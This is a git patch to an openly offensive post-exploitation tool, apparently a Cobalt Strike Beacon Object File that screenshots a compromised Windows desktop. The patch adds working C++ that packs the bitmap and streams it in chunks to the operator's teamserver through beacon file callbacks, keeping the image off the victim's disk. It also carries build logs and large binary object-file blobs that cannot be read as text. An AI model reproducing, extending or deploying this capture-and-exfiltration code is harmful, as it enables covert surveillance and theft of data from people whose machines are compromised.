From d082e142a9b69fae327fb45884c3600a99e5235f Mon Sep 17 00:00:00 2001 From: CodeXTF2 Date: Wed, 26 Oct 2022 00:28:47 +0800 Subject: [PATCH] in memory download --- ScreenshotBOF/Source.cpp | 159 ++++++++++++++++-- ScreenshotBOF/beacon.h | 3 + ScreenshotBOF/bofdefs.h | 2 + .../intermediary/BOF/x64/ScreenshotBOF.log | 4 +- ScreenshotBOF/intermediary/BOF/x64/source.obj | Bin 4982 -> 6978 bytes .../intermediary/BOF/x86/ScreenshotBOF.log | 4 +- ScreenshotBOF/intermediary/BOF/x86/source.obj | Bin 3884 -> 5422 bytes bin/BOF/ScreenshotBOF.x64.obj | Bin 4982 -> 6978 bytes bin/BOF/ScreenshotBOF.x86.obj | Bin 3884 -> 5422 bytes bin/BOF/screenshotBOF.cna | 7 +- bin/screenshotBOF.zip | Bin 4677 -> 6093 bytes 11 files changed, 165 insertions(+), 14 deletions(-) diff --git a/ScreenshotBOF/Source.cpp b/ScreenshotBOF/Source.cpp index 7c3f08e..ad212e0 100644 --- a/ScreenshotBOF/Source.cpp +++ b/ScreenshotBOF/Source.cpp @@ -5,7 +5,138 @@ #pragma comment(lib, "User32.lib") #pragma comment(lib, "Gdi32.lib") +char downloadfilename[] = "screenshot.bmp"; +/*Download File*/ +void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) { + //Intializes random number generator to create fileId + time_t t; + MSVCRT$srand((unsigned)MSVCRT$time(&t)); + int fileId = MSVCRT$rand(); + + //8 bytes for fileId and fileSize + int messageLength = downloadFileNameLength + 8; + char* packedData = (char*)MSVCRT$malloc(messageLength); + + //pack on fileId as 4-byte int first + packedData[0] = (fileId >> 24) & 0xFF; + packedData[1] = (fileId >> 16) & 0xFF; + packedData[2] = (fileId >> 8) & 0xFF; + packedData[3] = fileId & 0xFF; + + //pack on fileSize as 4-byte int second + packedData[4] = (fileSize >> 24) & 0xFF; + packedData[5] = (fileSize >> 16) & 0xFF; + packedData[6] = (fileSize >> 8) & 0xFF; + packedData[7] = fileSize & 0xFF; + + int packedIndex = 8; + + //pack on the file name last + for (int i = 0; i < downloadFileNameLength; i++) { + packedData[packedIndex] = fileName[i]; + packedIndex++; + } + + BeaconOutput(CALLBACK_FILE, packedData, messageLength); + + if (fileSize > (1024 * 900)) { + + //Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk) + int numOfChunks = (fileSize / (1024 * 900)) + 1; + int index = 0; + int chunkSize = 1024 * 900; + + while (index < fileSize) { + if (fileSize - index > chunkSize) {//We have plenty of room, grab the chunk and move on + + /*First 4 are the fileId + then account for length of file + then a byte for the good-measure null byte to be included + then lastly is the 4-byte int of the fileSize*/ + int chunkLength = 4 + chunkSize; + char* packedChunk = (char*)MSVCRT$malloc(chunkLength); + + //pack on fileId as 4-byte int first + packedChunk[0] = (fileId >> 24) & 0xFF; + packedChunk[1] = (fileId >> 16) & 0xFF; + packedChunk[2] = (fileId >> 8) & 0xFF; + packedChunk[3] = fileId & 0xFF; + + int chunkIndex = 4; + + //pack on the file name last + for (int i = index; i < index + chunkSize; i++) { + packedChunk[chunkIndex] = returnData[i]; + chunkIndex++; + } + + BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength); + + } + else {//This chunk is smaller than the chunkSize, so we have to be careful with our measurements + + int lastChunkLength = fileSize - index + 4; + char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength); + + //pack on fileId as 4-byte int first + lastChunk[0] = (fileId >> 24) & 0xFF; + lastChunk[1] = (fileId >> 16) & 0xFF; + lastChunk[2] = (fileId >> 8) & 0xFF; + lastChunk[3] = fileId & 0xFF; + int lastChunkIndex = 4; + + //pack on the file name last + for (int i = index; i < fileSize; i++) { + lastChunk[lastChunkIndex] = returnData[i]; + lastChunkIndex++; + } + BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength); + } + + index = index + chunkSize; + + } + + } + else { + + /*first 4 are the fileId + then account for length of file + then a byte for the good-measure null byte to be included + then lastly is the 4-byte int of the fileSize*/ + int chunkLength = 4 + fileSize; + char* packedChunk = (char*)MSVCRT$malloc(chunkLength); + + //pack on fileId as 4-byte int first + packedChunk[0] = (fileId >> 24) & 0xFF; + packedChunk[1] = (fileId >> 16) & 0xFF; + packedChunk[2] = (fileId >> 8) & 0xFF; + packedChunk[3] = fileId & 0xFF; + int chunkIndex = 4; + + //pack on the file name last + for (int i = 0; i < fileSize; i++) { + packedChunk[chunkIndex] = returnData[i]; + chunkIndex++; + } + + BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength); + } + + + //We need to tell the teamserver that we are done writing to this fileId + char packedClose[4]; + + //pack on fileId as 4-byte int first + packedClose[0] = (fileId >> 24) & 0xFF; + packedClose[1] = (fileId >> 16) & 0xFF; + packedClose[2] = (fileId >> 8) & 0xFF; + packedClose[3] = fileId & 0xFF; + BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4); + + return; +} #pragma region error_handling #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr) @@ -80,11 +211,10 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName) ReleaseDC(NULL, hDC); } - fh = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, - FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL); + //fh = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL); - if (fh == INVALID_HANDLE_VALUE) - return FALSE; + //if (fh == INVALID_HANDLE_VALUE) + // return FALSE; bmfHdr.bfType = 0x4D42; // "BM" dwDIBSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + dwPaletteSize + dwBmBitsSize; @@ -92,19 +222,28 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName) bmfHdr.bfReserved1 = 0; bmfHdr.bfReserved2 = 0; bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize; + void* bmpdata = malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize); + memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER)); + memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); - WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL); - WriteFile(fh, (LPSTR)lpbi, dwDIBSize, &dwWritten, NULL); + downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize)); + //WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL); + + /* clean up */ GlobalUnlock(hDib); GlobalFree(hDib); - CloseHandle(fh); + //CloseHandle(fh); return TRUE; } #ifdef BOF void go(char* buff, int len) { - BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to disk"); + datap parser; + char * downloadfilename; + BeaconDataParse(&parser, buff, len); + downloadfilename = BeaconDataExtract(&parser, NULL); + BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to %s",downloadfilename); int x1, y1, x2, y2, w, h; // get screen dimensions x1 = GetSystemMetrics(SM_XVIRTUALSCREEN); @@ -132,10 +271,10 @@ void go(char* buff, int len) { */ BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap..."); - LPCSTR filename = "screenshot.bmp"; + LPCSTR filename = (LPCSTR)downloadfilename; SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename); - BeaconPrintf(0x0, "[+] Printscreen bitmap saved to screenshot.bmp"); + //BeaconPrintf(0x0, "[+] Printscreen bitmap saved to %s",downloadfilename); // clean up SelectObject(hDC, old_obj); DeleteDC(hDC); diff --git a/ScreenshotBOF/beacon.h b/ScreenshotBOF/beacon.h index e70bebc..bfcf21f 100644 --- a/ScreenshotBOF/beacon.h +++ b/ScreenshotBOF/beacon.h @@ -44,6 +44,9 @@ DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); #define CALLBACK_OUTPUT_OEM 0x1e #define CALLBACK_ERROR 0x0d #define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_FILE 0x02 +#define CALLBACK_FILE_WRITE 0x08 +#define CALLBACK_FILE_CLOSE 0x09 DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); diff --git a/ScreenshotBOF/bofdefs.h b/ScreenshotBOF/bofdefs.h index c960e31..c0517b7 100644 --- a/ScreenshotBOF/bofdefs.h +++ b/ScreenshotBOF/bofdefs.h @@ -163,6 +163,7 @@ DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SI DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID); DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(LPVOID, LPVOID, size_t); +DECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t); DECLSPEC_IMPORT void __cdecl MSVCRT$memset(void*, int, size_t); @@ -266,6 +267,7 @@ DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBu #define HeapAlloc KERNEL32$HeapAlloc #define HeapReAlloc KERNEL32$HeapReAlloc #define memcpy MSVCRT$memcpy +#define malloc MSVCRT$malloc #define memset MSVCRT$memset diff --git a/ScreenshotBOF/intermediary/BOF/x64/ScreenshotBOF.log b/ScreenshotBOF/intermediary/BOF/x64/ScreenshotBOF.log index a901931..dd08156 100644 --- a/ScreenshotBOF/intermediary/BOF/x64/ScreenshotBOF.log +++ b/ScreenshotBOF/intermediary/BOF/x64/ScreenshotBOF.log @@ -13,8 +13,10 @@ C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\Screens C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(114): warning C4141: 'dllimport': used more than once C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(117): warning C4141: 'dllimport': used more than once C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(120): warning C4141: 'dllimport': used more than once -C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(246): warning C4005: 'ZeroMemory': macro redefinition +C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(247): warning C4005: 'ZeroMemory': macro redefinition C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\um\minwinbase.h(39): note: see previous definition of 'ZeroMemory' +C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(270): warning C4005: 'malloc': macro redefinition + C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(245): note: see previous definition of 'malloc' C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\intermediary\BOF\x64\source.obj 1 File(s) copied enumerating sections... diff --git a/ScreenshotBOF/intermediary/BOF/x64/source.obj b/ScreenshotBOF/intermediary/BOF/x64/source.obj index 372bf0d4589b0045fc86961587e726c13ac2541a..93a36b388eb15d1b3bc676d37dc888f2ce758a6b 100644 GIT binary patch literal 6978 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 literal 4982 zcmb7Idu&@*89%PwCUk|Q3!`B$dYj!s)@;U$yDSYw^E0{boW_csHe>D_KW>`4I=-HL z)4Ee(sS-`g+=w!v2__*`0s+zn0}0wBD#Br%x{Cf$p)smSlSVZJXq$LSD?+IJzH{#N zGYsuWzUOy--*>*(IrrqAWS(wgHe(|F_uCj7Vxl=S1vPCPSIr??2e{W}jm&;)Cv#@h z)Z9@yYDumGyx*kfVVyo_A(J$cmKI~b1blT)N%s1-EP}mQ>DN~osa=rA-vEsnq>hwXNwI+LPD||@O z7X!gz??gBj4*7<9=H|4FGpnU~{wF=`4TVF)qoL@iH|AG{dJ_KeSRxt=gvJt~=vd-# zC=g6UBSC*?I20U@e%aMzX`-kW-2EH47|CcG@(9a68f&sL77iTrjs~MWk^_nT4Zkb+ zm6>fjI_4jWlbd2ZXv`#Y@qm6Jm(`P*V%&QuSW2sTL(_9{zn)Pi6W&5m%_Xz({9G!l zrQ^kPK~;0b8QnacaB0ItM;Q>x}X>JX+!EAzegHFIJ4T5TJEUi*JtxuRxMBty}OH2(vWs%?irE* zU8UWw!EA}KKqwjsdmmws?l~gGlEq_cMoOv4w4Rd;UCI{_mB>L#<}y+-d0ZtvqZN;l zQM5<X$0I-NqVRtaZnHeWZ-G%wU^)0^~{VsfXl6qehS)9?Kd z7M0~Y$gca!E#9w&F%WPmAjeim>xYrmgZ0Dw>RA2IC}To7Ea&@PE3ad69ODSahB=L)aKzp(rljBW-k^&NsusmgHFUn`(_i{k?NbD*jFEB7j-qE`hfEhB` zOBT^f0Zfhu-4*w5>dY)H%JZ<&l)kczV*o6q&ro0frrC$((x14bv0S7;!PFUUfH8Td znl+**nJJvUM5TY_>IN-8i8-ib1ReF0W*;~EDe9HWqE>{1?kl2_%jC^;NAW0Y+c2i&6%hlt z(%L5)IVwTN%VK-P>U0-Q$uZkg+g9j2pT06?q2-Li}LH}u)Hsc(RFkmT*vq)0H*&%`DYk(TtFPtketT= zCRWf<1H32@!AcEYs==!@_!>ck!p$Kpa?eY!P}#Zg_S@fHxY1_+)%s0)$IFW{1%vD- zX^l~;NjoZ4#!^ndgakMFH^G)z86 z8VeU?>X|W6-J-CdV0md*lc;Wm=#7|fq$o<#fX{%f7n{cgIiG{qFO01UYuKe{cv_}a zT9kULh+&>)8TWg6@yRn0^*XgJMMr^B4c79Az87=a(My{!S8UNWAP?<>Zn&%!D6e1_ zy%(;s|yE(cHMC;^W zw$4qg({=~5?Xa;ODI6PJ4%TJc$+qQhn}Py6gDO}pYytFdA_uGW0oY-SF@dOlF3!=) z+{+PFQXpFCy_}<3-NzACQXmOvfOGqgod3b^{`vF1@jaCn*AI2w?DOaHor>+Mw6o>`}+3{K1i7BaK`QG zAEf;2nFj`>X6C`kW@d1{nb}9F3p@2U3|bGnjqVs!*;CzHis;NnGOKN3M|BI+j*u8- zE8aPa7Yx16Ruhb34bcncXbbaf3-jF;=6nnD>lWrl3-j+5W_#Uk74h`7FmyUtP3X|s zU^T&t|5EmO%7;k$j@{1CN&ZWx%*{*0jG*e*R-UerLyY( z5&QU+s=-23&Eo$MW2wjSY!E=#mu;j1&^2m4%$Uc)CW|#%L?(1Muq#3i_`MC@ka$2n zuBBCfGH+!q3_&8SSQ8!&jvow$k^D$jPbIV7Y*tU3wwgp?J$*dQ3Ec9l5j4q$aj$QV+Mm^ns)BoRwpGLzdKj1SmNFbJ zXogA>_E3V~w-aiipcg!zN4!cT=nW{Y1D>z2hoZQ8E51-{)EkNEq;4rpm~0~9@kD~Y n0F>pq+zBn0k#Q)?{Qo-~ndFCgF||Kb#WM4e0uoVtq$K_eV=p8? diff --git a/ScreenshotBOF/intermediary/BOF/x86/ScreenshotBOF.log b/ScreenshotBOF/intermediary/BOF/x86/ScreenshotBOF.log index 032e56b..4909ac5 100644 --- a/ScreenshotBOF/intermediary/BOF/x86/ScreenshotBOF.log +++ b/ScreenshotBOF/intermediary/BOF/x86/ScreenshotBOF.log @@ -13,8 +13,10 @@ C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\Screens C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(114): warning C4141: 'dllimport': used more than once C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(117): warning C4141: 'dllimport': used more than once C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(120): warning C4141: 'dllimport': used more than once -C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(246): warning C4005: 'ZeroMemory': macro redefinition +C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(247): warning C4005: 'ZeroMemory': macro redefinition C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\um\minwinbase.h(39): note: see previous definition of 'ZeroMemory' +C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(270): warning C4005: 'malloc': macro redefinition + C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\bofdefs.h(245): note: see previous definition of 'malloc' C:\Users\Ethan\Downloads\AVException\CodeX_Arsenal\public\screenshot_BOF\ScreenshotBOF\ScreenshotBOF\intermediary\BOF\x86\source.obj 1 File(s) copied enumerating sections... diff --git a/ScreenshotBOF/intermediary/BOF/x86/source.obj b/ScreenshotBOF/intermediary/BOF/x86/source.obj index e5c124d6c7730084ed1f463cdc44457d02ac608b..247c80d7bf8fbcdc2660cc2414c5957081063588 100644 GIT binary patch literal 5422 zcmai2ZEPIH8J^2I&XG8_(;5h$xugylTn@*kiAkuqvu~VSdW$bUF9dLUJ>RYIozFgV zw+;cxkm#z`%hrfWh?a^<{Q)XJQV|sjNt7QxF#`Xk8#RM?Csz1~_& zTv4fa};>25!Aa8Ibct2-3z_WC+QzF=qQF`t))f&tp@>+sR8 z;CGwKdJ@x8s-^iFLmZCAuF1o!cA>khmrlR;5syHFdz=;U!5%hD zx`)dB;h`RH@|mGTG8|3!cpjyvBGRxNOAht4C!^BwkSCRvhQf)S;gQ}%EYg#Xq$Fu5 z-Jg_0ZJixGLG#i26dRJI)SwiNg;US=F!8C@{XOaANGc+^lD%|kmuj*W|#x~|^HEXzz)#mP9m z6fhng3eBlP?pQyQ#)&~!#r+yoXg)3&a5esj0T<()23%0Z#YQo&h)XJ6Xr!wOT{b#W z=(;MbA2T#JRB^dWrAsiXK(49c8psXZB!$lPJIO3jh1FxKn1^H?>dU}OU2#}gtT|g| zwF90g!n`WZquE+uS@Rg|9GY+FAt-dftS~HPMrdZLpPu+&mdCGWoW7x3rB?+__cj-oUedpe*82SQBDFc_`$@*Bu4j7RAy7tT!COOX}*&LVD*|@|}B)Nx8+jbtoDxiH_vfDinm<$3K{d?IA=9> z%)5OKTfKA|#=5u9#Vf|exvuyP=E~q1XttyvA7R@d5!PaBRlzt%K+ApGjaEBbCXly` z0{t`j({TLJ$EN8ji@-F^X_da$=Cmiizgb?56W*cL9THi*3R_&CGIcdx&61@ita*D? z8ChmKTpxRM+4jOVp40jiy0Oxj8C|Y;VcP{3{ys(6Sh*F1m^H2g^)qKYA2nx-#92`;^&RX^9N z*R|>mt@;%~0;zdl*if@IZ_~4xiCvjo?zPO7E%wRmx*gOx_UaRnJ96Xx+JMKh7uy6L%?a3#ZpXWA`xS8w*+`+2 zEgvH8e`xs#F`Gfw$xQ55=pV5=Gudi=4l`5Ogp2X&ad86UFPdAk3R)PNy>=Hf6V)X= zYmE%i6|Z3570WEjnWmyvLqNMYItt|E=(vgcfi#ca z1=`J}2euHhha)c#o0Ce?160q^AdnW_(?EMUHx6_cN52KSo1+<1`jIL9Cy*Ak+p*C# zkD7t*hyC<1gpxH>Wn)WD_B0o}vVLnq$*_21Th*I4!O`d@2a>1gin-1=kB6FZ;T zw`KQDm+n5ha_5h}_{+_=-1`BPd2vVZ-R+7+-+y|u?JB;A?8MzCg=JS$(@zOGtue*t zLQE8~+p>D=LREYw#Kb{op&-;z@p%vv2_1GKWM%33e@|(M-7%rOFr7`L_;ko5b{jh% zva%~u(Kp01RD@{+ysc=Lt74VaAUn$o)A`g$4 zdfIP``ooeOd^RmhgMuWdVv)4_0i#ht!P{P74|{zr&Gqdmq!Wpq?!$7dHzEChjW&J? zckgR9y4N}iN(ua(>gQ6=n z%EQVgLk53sQ?*zH!f;=fiiXu3>5{^U*mII0E_0JP<3m8x?q)MMWd@1(rBrNEnYaW0 zkqY(-!AJ3ztbR}$j0`_(%#T5and4<-I)(o=miC-%DpSSZBQ}z`F*>j@-0sIc$FVJr zG#zn2K^_kAA3-50l}e_V=m-}bWuhQ{2_0$kbqk(AchYDIxu}z&klP(-^FsB1wydH` literal 3884 zcmai1eQYB~6(3*jlJqWZ(%w<7SITWeu1y;-u2a$^6uSNxCkF4u=a0L7__|%&o6Bw- zZ@RlaawmmLF^HNa6^J5=0Es_Ji>gXJq?Wr@ASLBWTH2~72qHy6vPvp~&PYZ?C4U5k zH#1(_v4dD?cYgDGZ{EE3=FRSG$gvN#oAFe~bqIY1vCEm(<&=3=u5{5NfK|I=xBI)0 zGc6}`XL_PGwF2NL4!g%%9(8%0dRj828h;63ZcnXG5RY8E)0Ah-o~f)Y`KSeIJmcUhOilA9OkHvwj@##6z)A&^z3n%PDDRMoD)6PdeZU zhJpbh7!^D*-{^3+=!?X}Xv`lR6NAw)@l?={#b_A&f`K58M8Du_uoO3Bz2Cjd6eDS6 zS03E*39$w%VkAS1y++GOfpK!kgw}l)xlE{3+2{Mh5z~+RMP58C1WHXwSHWHqb zcqS!Jn~IiA__VbApy<&JIV)un)460uNhOSwF3VYCLNi70SRfItcAI-j)|B-rIju);iOfs?Xn&XCT^gikBRB-nhU?=%-CDl9H4P7`@jF{h+yr_+g0Ed$Qv)O6jL zidm*w8`_{Bw@UevYl1|eqV127Hh-mE4KY~2B~`FtSv_vUqB>^7RSOsUaH)XTEMc`z zC>Mlv+fV^-TJg<@t+{34^{^$Zov0@_EW82a)(Kl{d4falAS+&uShxg|O;BG4ycSl$ z!+OoDjb1NdvRh&73g~Zy*DJv^s#(G^*xai4W#O$bo14sKyKcodZ25<$fAdc5f_z!{ z5ct&vHacLQ_As-5Ju{NOa=3q?ZUpE*QJMo!PM%uA8^og}Tx1P>{Vd_DthYuQ5~7Nz zK|3FtYKMh4Z5PYx4a7|*?0l(Q$gS71nV(&ETsUxQk=OE^pIt-d9jaqzwbtbIr2^|Uhfuq^$6h*~ z6ox%>DL-4<&b9R~{QYa-{bjE}*Ji;INW?JzKmo79#wiG|_y2yp5dUre0_62ga4)|& zP!N8nqWSpMh1Tpy>Y7zkL2r8?W?ryubO!&Zh%zqxiyC&wYr-XU=@%TY)`)ruz{T5ubu@lv7Dx zdVHT_dmEt^#E;98>2$fii_jcn>d!`y3e@6QBtv&x_2(i86m(X0$VsREOazXC4mlN( z>*yO?kpk2c9T{@pH#kUoREIHx?jf=Q^~~q);~JU4SR*qu)4&Y4o~$zUXD{*&Y;lm& z7ddf#b9;akRplZw``UxVGn(B&dl837w5&dCnlVFm7h1-QH8F6As9sFxnQGr2^>P#Q zb`$g0CWh<_`(l=FAxl@e7}MXxgqxVjCZ^EDJlDirX<|NTVk$|Y9x;E8u%?a~YGO_{ zF=i9f)S#qOihcTmmbjQ$!px^*g3do zL^h-63{##GWK&mC27hm}g5OtTNBqHlcaKkpJtvdnqGT$`jQsyKy!3>}-{ZE;Gec21 z1HUn2Nfn;_;7%C~@n%fEe_$u=hau*U87rYgKp+`J(qM>LEQSgE?yj<2 zg(V2zl?w7;N8{aG&mH8f0TNc8pHwkF{$}m75XxoA&VDLlJPd`eeLnMirJ3q2sxzXws)bxr5_hdiTUkAKwlCH`UbKotHXM!mt9 W;0ebxI)KUJ6;c#=KJ4{_>VE-5+n~Sz diff --git a/bin/BOF/ScreenshotBOF.x64.obj b/bin/BOF/ScreenshotBOF.x64.obj index c25244671c597d5027a30f0ab95d578a76bb071d..c069e07a4389a49ec1d43c419cd8a8e54de6434d 100644 GIT binary patch literal 6978 zcmds6acmpa8Gnx5Hnd%ntt&08P`6wlw3~72tb{I%b8<<~!)Z+Il$25&$G#HNBzEm< zYfuLb39MZj)*&X9329ZuMyGYaqz&S#o01Vhk&09%q*a>4(1Z|OU_x3axVr_HVu&Qm^GtZ 